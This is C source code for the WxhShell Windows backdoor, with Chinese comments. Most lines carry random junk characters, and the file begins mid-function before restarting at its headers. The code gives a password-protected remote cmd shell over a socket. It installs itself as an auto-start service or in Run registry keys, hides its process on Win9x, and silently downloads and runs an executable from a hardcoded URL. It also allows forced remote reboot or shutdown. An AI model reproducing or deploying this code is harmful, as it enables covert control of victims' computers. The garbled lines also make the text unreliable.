    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -msfiO  
    else { ']x`d  
    closesocket(wsh); &F8N$H  
    ExitThread(0); bh[`uRC}  
    } T[?toqkD>z  
    break; P 2j"L#%  
    } 8Hdm(>  
  // 获取shell <$V!y dO  
  case 's': { w;p: 4`  
    CmdShell(wsh); 4YT d  
    closesocket(wsh); oB$P6   
    ExitThread(0); 4@Q`8N.  
    break; !U 6 x_  
  } Xcy Xju#"p  
  // 退出 d'x'hp%  
  case 'x': { wa)E.(x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [!<W{ ($5  
    CloseIt(wsh); M9t`w-@_w  
    break; ::lD7@Wg  
    } wT taj08D  
  // 离开 A#&,S4Wi|  
  case 'q': { h&k*i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IwTAM9n  
    closesocket(wsh); " iz'x-wy  
    WSACleanup(); si!jB%^  
    exit(1); Qw,{"J  
    break; mZ[tB/  
        } 0tFR. sS?  
  } jQV.U~25Q  
  } < s>y{ e  
cl'#nLPz;  
  // 提示信息 k;fy8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~+HZQv3Y  
} 5C G ,l  
  } ~vL`[JiK  
3SeM:OYq]s  
  return; Z ZMz0^V  
} I?z*.yA*  
GY3g`M   
// shell模块句柄 KysJ3G.k\  
int CmdShell(SOCKET sock) )J"*[[e  
{ >$g+Gx\v4  
STARTUPINFO si; |)4aIa  
ZeroMemory(&si,sizeof(si)); RyN}Gz/YN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FUD M]:XQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _ Cu,"  
PROCESS_INFORMATION ProcessInfo; &|LP>'H;  
char cmdline[]="cmd"; Mq#sSBE<K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u> @ Yoyc  
  return 0; KiaQ^[/q  
} [8Yoz1(smA  
z5UY0>+VdS  
// 自身启动模式 g?mfpwZj  
int StartFromService(void) 6]mFw{6qn1  
{ `yvH0B -  
typedef struct x,+2k6Wn!  
{ ` &E-  
  DWORD ExitStatus; 1c2zFBl.&  
  DWORD PebBaseAddress; SXJ]()L?[v  
  DWORD AffinityMask; (c'kZ9&  
  DWORD BasePriority; T``O!>J  
  ULONG UniqueProcessId; kgQyG[u  
  ULONG InheritedFromUniqueProcessId; Ln4zy*v{  
}   PROCESS_BASIC_INFORMATION; 'A#bBn,|  
jkrv2 `"  
PROCNTQSIP NtQueryInformationProcess; d*===~  
?S~@Ea8/M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "L)=Y7Dx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xV}ybRKV  
q ?qpUPzD  
  HANDLE             hProcess; ,5 A&  
  PROCESS_BASIC_INFORMATION pbi; B S^P&TR!  
h%0FKi^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FL/395 <:  
  if(NULL == hInst ) return 0;  Bm\OH#  
sT;:V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?!{nNJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w%NT 0J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W3h{5\d!  
_-mJI+^/  
  if (!NtQueryInformationProcess) return 0; -:P`Rln  
E979qKl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $YPQi.  
  if(!hProcess) return 0; x392uS$#  
<:YD.zAh|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :8CYTEc  
D$vP&7pOr4  
  CloseHandle(hProcess); \U\k$ (  
7Gs0DwV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;/- X;!a>  
if(hProcess==NULL) return 0; K;NaiRP#k  
KD*q|?Z  
HMODULE hMod; F,NS:mE  
char procName[255]; q_gsYb  
unsigned long cbNeeded; ,<cF<9h  
&# w~S~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '-?t^@  
Zi4Ektj2  
  CloseHandle(hProcess); wfJ[" q   
z"*$ .  
if(strstr(procName,"services")) return 1; // 以服务启动 WokQ X"  
k@RIM(^t  
  return 0; // 注册表启动 t%'0uB#v1  
} }2;{ }J  
D_(K{? KU  
// 主模块 1}#RUqFrvS  
int StartWxhshell(LPSTR lpCmdLine) L74Sx0nk=  
{ 28jm*Cl8  
  SOCKET wsl; GO|EeM!iB  
BOOL val=TRUE; Q =!f,  
  int port=0; 2TZ+R7B?  
  struct sockaddr_in door; -y1t;yU.L  
Z,ZebS@yG  
  if(wscfg.ws_autoins) Install(); #2U4}#Mi  
]di9dLT  
port=atoi(lpCmdLine); OD~TWT_  
wRLj>nc  
if(port<=0) port=wscfg.ws_port; ` g5S  
mm@)uV<\  
  WSADATA data; zr1,A#BV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I8]q~Q<-P  
P-*=e8z{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ou'<9m!9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9>1 $Jv3  
  door.sin_family = AF_INET; `tjH#W`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DdG*eKC  
  door.sin_port = htons(port); ROfr  
wsg u# as|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cz6\qSh\,  
closesocket(wsl); F87aIJ.pGN  
return 1; wwI'n*Q'$  
} ap% Y}  
h4 X>  
  if(listen(wsl,2) == INVALID_SOCKET) { $>M A  
closesocket(wsl); 3~uWrZ.u  
return 1; GA.4'W^&a  
} O:>9yZhV  
  Wxhshell(wsl); x.:k0;%Q  
  WSACleanup(); R{hq1-  
9" RGf 1]  
return 0; Jc74A=sT  
?4 &C)[^  
} 1MF0HiC  
61}hB>TT:  
// 以NT服务方式启动 (wtw1E5X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^9zFAY.|  
{ z/IZ ;K_e  
DWORD   status = 0; "VfV;)]|w  
  DWORD   specificError = 0xfffffff; mEM/}]2  
J BN_Upat  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oD=6D9c?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (XDK&]U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IxxA8[^V  
  serviceStatus.dwWin32ExitCode     = 0; ji~P?5(:  
  serviceStatus.dwServiceSpecificExitCode = 0; Z%uDz3I\Q"  
  serviceStatus.dwCheckPoint       = 0; C6neZng  
  serviceStatus.dwWaitHint       = 0; ly)b=ph&  
JL7"}^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dAZh# i[  
  if (hServiceStatusHandle==0) return;  XM" {"  
e=<%{M&  
status = GetLastError(); >dTJ  
  if (status!=NO_ERROR) ,cqZb0VP{t  
{ mI[$c"!BD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [Tq\K ^!^  
    serviceStatus.dwCheckPoint       = 0; VIi/=mO]  
    serviceStatus.dwWaitHint       = 0; *P mk1h2  
    serviceStatus.dwWin32ExitCode     = status; \;%DDw  
    serviceStatus.dwServiceSpecificExitCode = specificError; UFED*al#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]mW)T0_  
    return; U'8ub(:&  
  } Q5N;MpJ-  
:le"FFfk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2' 8$I}h  
  serviceStatus.dwCheckPoint       = 0; *YI>Q@F9  
  serviceStatus.dwWaitHint       = 0; 9u->.O: p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Npv 2yAab  
} b3 ,&RUF  
:<}.3Q?&  
// 处理NT服务事件,比如:启动、停止 -}W `  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WRWcB  
{ mu!hD^fw  
switch(fdwControl) H:DTvv8e{  
{ mh4`,N  
case SERVICE_CONTROL_STOP: tl:+wp7P`  
  serviceStatus.dwWin32ExitCode = 0; ~D9VjXfL)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )L%i"=<Bdy  
  serviceStatus.dwCheckPoint   = 0; &>Ko}?w  
  serviceStatus.dwWaitHint     = 0; J6) &b7  
  { =:!$'q:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GG}(*pOr  
  } J7C2:zj  
  return; SuHv{u45  
case SERVICE_CONTROL_PAUSE: s|1BqoE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k$hNibpkt  
  break; ;{Sgv^A  
case SERVICE_CONTROL_CONTINUE: e0#/3$\aSV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2[*r9%W  
  break;  VS:UVe  
case SERVICE_CONTROL_INTERROGATE: cVR3_e{&H  
  break; =>0+BD  
}; #] @<YKoV{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Rl:=(]i~  
} <KFE.\*Z4  
*FwHZZ~U  
// 标准应用程序主函数 LQnkpy3A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ifc}=:nr  
{ ?QnVWu2K  
SnhB$DG  
// 获取操作系统版本 RRNoX }  
OsIsNt=GetOsVer(); ;bZIj` D(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /cy'% .!  
iuX82z`  
  // 从命令行安装 CulU?-[i  
  if(strpbrk(lpCmdLine,"iI")) Install(); % 1+\N  
iE|qU_2Y  
  // 下载执行文件 S!<1C Fh  
if(wscfg.ws_downexe) { 8"#Ix1#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b$24${*'  
  WinExec(wscfg.ws_filenam,SW_HIDE); sp0j2<$a  
} CFW\  
}Ot I8;>  
if(!OsIsNt) { G$5N8k[2  
// 如果时win9x,隐藏进程并且设置为注册表启动 fCMH<}w  
HideProc(); .=VtMi$n  
StartWxhshell(lpCmdLine); fDn|o"  
} o*_O1P  
else o@o6<OP^  
  if(StartFromService()) myVV5#{  
  // 以服务方式启动 9Q#eu~R  
  StartServiceCtrlDispatcher(DispatchTable); 6!,Am^uXM  
else _Gf.1Bsf@S  
  // 普通方式启动 o H/4opV  
  StartWxhshell(lpCmdLine); _/W[=c   
6T}bD[h4?  
return 0; C6XTId=y#_  
} sI u{_b  
vu%:0p` K  
Uf`lGGM  
*|f&a  
=========================================== OZF^w[ `w  
zs@#.OEH  
j;tT SNF  
P}%0YJ$6  
J {gqm  
1GnT^u y/  
" 4DVkycM  
u#8J`%g  
#include <stdio.h> b"ypS7 _  
#include <string.h> 1$q>\  
#include <windows.h> u7=jtB   
#include <winsock2.h> VK*2`Z1  
#include <winsvc.h> H:X=v+W  
#include <urlmon.h> VWlOMqL995  
U8Pnt|0M  
#pragma comment (lib, "Ws2_32.lib") H<M ggs-  
#pragma comment (lib, "urlmon.lib") ]U]22I'+$2  
o@`& h} $  
#define MAX_USER   100 // 最大客户端连接数 [mSK!Y@u  
#define BUF_SOCK   200 // sock buffer ^KU:5Bn  
#define KEY_BUFF   255 // 输入 buffer 8?GS:+  
P&/PCSf  
#define REBOOT     0   // 重启 ^N!l$&=  
#define SHUTDOWN   1   // 关机 }LH>0v_<Y  
74c1i  
#define DEF_PORT   5000 // 监听端口 D!. r$i)  
 W t&tu2  
#define REG_LEN     16   // 注册表键长度 A2o ;YyF  
#define SVC_LEN     80   // NT服务名长度 JM#jg-z,~  
d9XX^nY.  
// 从dll定义API =a`l1zn8=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g8yWFqE!T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `A.!<bO)]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <}RU37,W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5#zwd oQ  
g1Q^x/  
// wxhshell配置信息 J?XEF@?'G  
struct WSCFG { Ve,_;<F]S  
  int ws_port;         // 监听端口 1NO<K`  
  char ws_passstr[REG_LEN]; // 口令 ExDH@Lb  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jy'ge4]3  
  char ws_regname[REG_LEN]; // 注册表键名 \o^M,yI  
  char ws_svcname[REG_LEN]; // 服务名 eH2.,wY1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %d+:0.+`n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IB x?MU#.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?-,v0#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V8>%$O sw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =nEl m*E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X[8m76/V  
b;&J2:`  
}; <^&NA<2  
kb?QQ\e  
// default Wxhshell configuration  4q)eNcs  
struct WSCFG wscfg={DEF_PORT, 9$,?Grw~  
    "xuhuanlingzhe", q P@4KH} e  
    1, DJeP]  
    "Wxhshell", oJK]oVX9i  
    "Wxhshell", 5=g{%X  
            "WxhShell Service", m:<cLc :.  
    "Wrsky Windows CmdShell Service",  Xc2Oa  
    "Please Input Your Password: ", p+ymt P F  
  1, OHzI!,2]  
  "http://www.wrsky.com/wxhshell.exe", S]Gw}d]4  
  "Wxhshell.exe" cO2 .gQo'  
    }; fbS l$jn.  
}-m/ 'Q  
// 消息定义模块 h3issi+N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,cs`6Bd4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i=%wZHc;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .J3lo:  
char *msg_ws_ext="\n\rExit."; `j088<?j  
char *msg_ws_end="\n\rQuit."; yzhr"5_  
char *msg_ws_boot="\n\rReboot..."; or/Y"\-!  
char *msg_ws_poff="\n\rShutdown..."; y&\ J  
char *msg_ws_down="\n\rSave to "; 3OV#H%  
xW{_c[oA  
char *msg_ws_err="\n\rErr!"; ^;B vd!  
char *msg_ws_ok="\n\rOK!"; h"KN)xi$  
'$~9~90?Z  
char ExeFile[MAX_PATH]; #;U_ L`q  
int nUser = 0; |b'fp1</  
HANDLE handles[MAX_USER]; + )?1F  
int OsIsNt; >?yaG=  
~130"WQ;  
SERVICE_STATUS       serviceStatus; ([s}bD.9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F]3iL^v  
x+(h#+F  
// 函数声明 Z>Nr"7k  
int Install(void); $%VFk53I  
int Uninstall(void); y";{k+  
int DownloadFile(char *sURL, SOCKET wsh); pi? q<p%  
int Boot(int flag); 8^;[c  
void HideProc(void); )'M<q,@<(  
int GetOsVer(void); mFOuE5  
int Wxhshell(SOCKET wsl); <tAn2e!  
void TalkWithClient(void *cs); _s!(9  
int CmdShell(SOCKET sock); AFL*a*  
int StartFromService(void); qgw:Q  
int StartWxhshell(LPSTR lpCmdLine); 5aw#!K=J'  
+Ij>\;vM"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 02&mM% #  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bF:vD&Sf  
Zb`}/%\7  
// 数据结构和表定义 w :Fes  
SERVICE_TABLE_ENTRY DispatchTable[] = qt+vmi+~  
{ YMnG-'^Z  
{wscfg.ws_svcname, NTServiceMain}, $lci{D32,  
{NULL, NULL} 7ZS 5u+o  
}; M)6_Ta l  
d c_^   
// 自我安装 M cE$=Vv  
int Install(void) k( 1rp|qf  
{ `!5 ZF@Q>e  
  char svExeFile[MAX_PATH]; 5bGV91  
  HKEY key; V@<tIui$  
  strcpy(svExeFile,ExeFile); 5KU}dw>*g  
DM{ 7x77  
// 如果是win9x系统,修改注册表设为自启动 AV AF!Z  
if(!OsIsNt) { q~.\NKc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q4-d2I>0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,JRYG<O_T  
  RegCloseKey(key); -]\%a=]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { URmx8=q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gKcP\m  
  RegCloseKey(key); X!,P] G  
  return 0; 0U ?1Yh7 m  
    } mkTf}[O  
  } |4pE"6A  
} (w?@qs!  
else { ^~|P[}  
gSK (BP|  
// 如果是NT以上系统,安装为系统服务 +60zJ 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &fq-U5zH  
if (schSCManager!=0) !)ey~Suh  
{ N%/Qc hu  
  SC_HANDLE schService = CreateService aB-*l %x  
  ( g=Q#2/UQ<  
  schSCManager, x$I~y D  
  wscfg.ws_svcname, /K<Xr[z~y  
  wscfg.ws_svcdisp, e`'O!  
  SERVICE_ALL_ACCESS, }8GCOY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R>BI;IcX  
  SERVICE_AUTO_START, =El.uBz{  
  SERVICE_ERROR_NORMAL, E}mnGe  
  svExeFile, j% !   
  NULL, ;^lVIS%&{  
  NULL, `4}zB#3  
  NULL, lQ!ukl)  
  NULL, %Y:'5\^lC  
  NULL >Be PE(k  
  ); yC4JYF]JN  
  if (schService!=0) 3>yb$ZU"-  
  { )-#%  
  CloseServiceHandle(schService); Yn[y9;I{  
  CloseServiceHandle(schSCManager); 8263  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A!H6$-W|p  
  strcat(svExeFile,wscfg.ws_svcname); /"tVOv#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $}2m%$vJO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o5mt7/5[i  
  RegCloseKey(key); .?CDWbzq  
  return 0; "T?%4^:g  
    } cIK-VmO  
  } :,y V?E6]  
  CloseServiceHandle(schSCManager); d%VGfSrKq  
} W@AZ<(RI:  
} 6GMQgTY^  
CspY+%3$  
return 1; V /$qD  
}  nsij;C  
i*..]!7e  
// 自我卸载 _ mhP:O  
int Uninstall(void) jL^zS XQB  
{ 6gY5v @!w  
  HKEY key; prb;q~  
20d[\P(.  
if(!OsIsNt) { f8+($Ys  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cgc| G  
  RegDeleteValue(key,wscfg.ws_regname); ~EW (2B{u  
  RegCloseKey(key); + B%fp*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nYY@+%` ]z  
  RegDeleteValue(key,wscfg.ws_regname); &9, 6<bToP  
  RegCloseKey(key); {$bAs9L  
  return 0; (ScL  C  
  } rr'RX  
} w '~f Z*  
} pq#Hca[  
else { > YKvwbCf8  
f I`6]?W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HGs.v}@&  
if (schSCManager!=0) v0jRoE#  
{ )MHvuk:I)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /hOp>|  
  if (schService!=0) 7ml,  
  { {tk42}8k  
  if(DeleteService(schService)!=0) { IX']s;b  
  CloseServiceHandle(schService); bT,]=h"0  
  CloseServiceHandle(schSCManager); aN}yS=(Ff  
  return 0; 4 (& W>E  
  } lE`hC#m  
  CloseServiceHandle(schService); R"];`F(#  
  } gsGwf[XdJ  
  CloseServiceHandle(schSCManager); AVGb;)x#  
} {1'XS,2  
} YU9xANi6  
fBR,Oneo  
return 1; +IK~a9t  
} 7]@vPr;:  
y'*^ '  
// 从指定url下载文件 b4Zkj2L  
int DownloadFile(char *sURL, SOCKET wsh) HY~\e|o  
{ dMCV !$  
  HRESULT hr; 5Z ] `n  
char seps[]= "/"; d2'9C6t  
char *token; ~#h@.yW^JN  
char *file; 8h=H\v^f  
char myURL[MAX_PATH]; R,x\VX!|  
char myFILE[MAX_PATH]; =7e~L 3 K  
`S2YBKz,1  
strcpy(myURL,sURL); m%m/#\J E  
  token=strtok(myURL,seps); |t1D8){!  
  while(token!=NULL) ~=aGv%vX  
  { Q 6{2@  
    file=token; {UQpD   
  token=strtok(NULL,seps); J~V`"uo  
  } e57}.pF^  
IfF<8~~E  
GetCurrentDirectory(MAX_PATH,myFILE); h2`W~g_  
strcat(myFILE, "\\"); yP :>vFd7  
strcat(myFILE, file); ~!E% GCyFy  
  send(wsh,myFILE,strlen(myFILE),0); 6c^2Nl8e  
send(wsh,"...",3,0); 4pJOJ!?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &q#$SU,$(  
  if(hr==S_OK) sHm|&  
return 0; 5]:fkx  
else D06'"  
return 1; @C0{m7q  
((7~o?Vbg  
} AmM^&  
_&D I_'5q+  
// 系统电源模块 ^SpD)O{  
int Boot(int flag) WpP8J1KN[  
{ br .jj  
  HANDLE hToken; { .B^  
  TOKEN_PRIVILEGES tkp; bqJL@!T  
y-cRqIM  
  if(OsIsNt) { ^DS9D:oE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h$)!eSu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +M$2:[xRT  
    tkp.PrivilegeCount = 1; TW(rK&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i*:lZeU61  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v}Gq.(b  
if(flag==REBOOT) { j/TsHJ=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -Mb nYs)  
  return 0; ?5K.#>{  
} FTI[YR8?Y  
else { rV<yM$IA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2P`hdg  
  return 0; bU/5ug.  
} ^2mmgN   
  } /0s1q  
  else { x/ {  
if(flag==REBOOT) { ~e@ QJ=r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J!3 X}@_N  
  return 0; B'"C?d<7  
} T;w%-k\<r  
else { RWP`#(&/&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )}\jbh>RH  
  return 0; ;hA>?o_i(  
} yw41/jHF  
} R9f*&lj  
- U!:.  
return 1; NC)Iu  
} TFb9gOTJ  
51;V#@CsQ  
// win9x进程隐藏模块 rBye%rQRq  
void HideProc(void) 1/c7((]7(,  
{ mg[=~&J^  
<_=a1x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P#\L6EO.  
  if ( hKernel != NULL ) -^=gQ7f9  
  { r"x|]nvg^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }o0R`15dA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i64a]=  
    FreeLibrary(hKernel); "1$OPt5  
  } {(U?)4@  
8`Q8Mct$<  
return; a)^f`s^aa  
} }i!hzkK#  
*>h"}e41  
// 获取操作系统版本 p 2It/O  
int GetOsVer(void) G&)A7WaC  
{ H{ p   
  OSVERSIONINFO winfo; ;| ##~Y.9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /)ps_gM  
  GetVersionEx(&winfo); &Ey5 H?U!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wASgdGoy  
  return 1; kzny4v[y  
  else ?wt%e;  
  return 0; @(Wx(3JR?}  
} @G+Hrd6  
<f %JZ4p*  
// 客户端句柄模块 xPWzm hF  
int Wxhshell(SOCKET wsl) !*HH5qh6  
{ TUHC[#Vb?  
  SOCKET wsh; f]L`^WU  
  struct sockaddr_in client; /5 B{szf  
  DWORD myID; >p [|U`>{  
zPEx;lO$  
  while(nUser<MAX_USER) jku_0Q0*?  
{ vQ>x5\r5O_  
  int nSize=sizeof(client); 0+jR,5 |  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :CH "cbo  
  if(wsh==INVALID_SOCKET) return 1; yoGe^gar  
~UA-GWb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N3 .!E|  
if(handles[nUser]==0) -'BC*fVr  
  closesocket(wsh); /{vv n  
else _W'>?e0i  
  nUser++; CMB:%  
  } `% k9@k .  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6*8"?S'  
J@PwN^`  
  return 0; ~CIA6&  
} w vBx]$SC  
CE]0OY  
// 关闭 socket :akEl7/&  
void CloseIt(SOCKET wsh) 6Qne rd%Ec  
{ ukHSHsR  
closesocket(wsh); pp@Jndlg  
nUser--; 4*'5EBa1  
ExitThread(0); .lAqD-  
} _ +[;NBz  
dP63bV  
// 客户端请求句柄 NBEcx>pma  
void TalkWithClient(void *cs) <aR9,:  
{ u>o<u a p  
s\y+ xa:  
  SOCKET wsh=(SOCKET)cs; Z 6KM%R  
  char pwd[SVC_LEN]; GjN/8>/  
  char cmd[KEY_BUFF]; @[h)M3DFd  
char chr[1]; Wj.f$U 4  
int i,j; >a7OE=K  
8dgI&t  
  while (nUser < MAX_USER) { /?uA{/8  
JJ`RF   
if(wscfg.ws_passstr) { I4 {uw ge  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yqR2^wZ%r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c]LE9<G  
  //ZeroMemory(pwd,KEY_BUFF); <wWZ]P 2]  
      i=0; qp3J/(F  
  while(i<SVC_LEN) { 1Z%^U ?  
B64L>7\>`  
  // 设置超时 ,<R/jHZP9  
  fd_set FdRead; 0NrUB  
  struct timeval TimeOut; C1&~Y.6m  
  FD_ZERO(&FdRead); DuX7  
  FD_SET(wsh,&FdRead); {`?C5<r  
  TimeOut.tv_sec=8; *'4+kj7>  
  TimeOut.tv_usec=0; %EkV-%o*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pxP,cS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]D_"tQ?i  
qn) VKx=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |s[kY  
  pwd=chr[0]; 2yZ/'}Mw  
  if(chr[0]==0xd || chr[0]==0xa) { h&@ A'om~  
  pwd=0; ZGO% lkZ.  
  break; 0?OTa<c  
  } $I*ye+a*{q  
  i++; :cU6W2EV  
    } I/4:SNha  
"2} {lu  
  // 如果是非法用户,关闭 socket <%w)EQf4m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qd$Y"~Mco  
} [Q+8Ku  
iR} 3 [  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _`3'D`s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }dcXuX4{r  
q)0?aL  
while(1) { Xq:jp+WSG  
&/QdG= r+  
  ZeroMemory(cmd,KEY_BUFF); I~Y1DP)R  
7Nx5n<  
      // 自动支持客户端 telnet标准   u&{}hv&FY  
  j=0; \AFoxi2h  
  while(j<KEY_BUFF) { (Z(O7X(/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p1~u5BE7O  
  cmd[j]=chr[0]; 2kMBe%  
  if(chr[0]==0xa || chr[0]==0xd) { `w/:o$&  
  cmd[j]=0; fLkZ'~e!  
  break; N zrHWVD  
  } LpRl!\FY$  
  j++; #9{N[t  
    } NqyKR&;  
[R V_{F:'  
  // 下载文件 ,36AR|IO)  
  if(strstr(cmd,"http://")) { |,!]]YO.V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tFlLKziU  
  if(DownloadFile(cmd,wsh)) u /PaXQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cHqT1EY  
  else >f)/z$ qn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DD 8uG`<  
  } )}ygzKEa  
  else { Pnf|9?~$H  
udw>{3>  
    switch(cmd[0]) { : L}Fm2^  
  `|nCr  
  // 帮助 f3_-{<FZ  
  case '?': { [I6(;lq2  
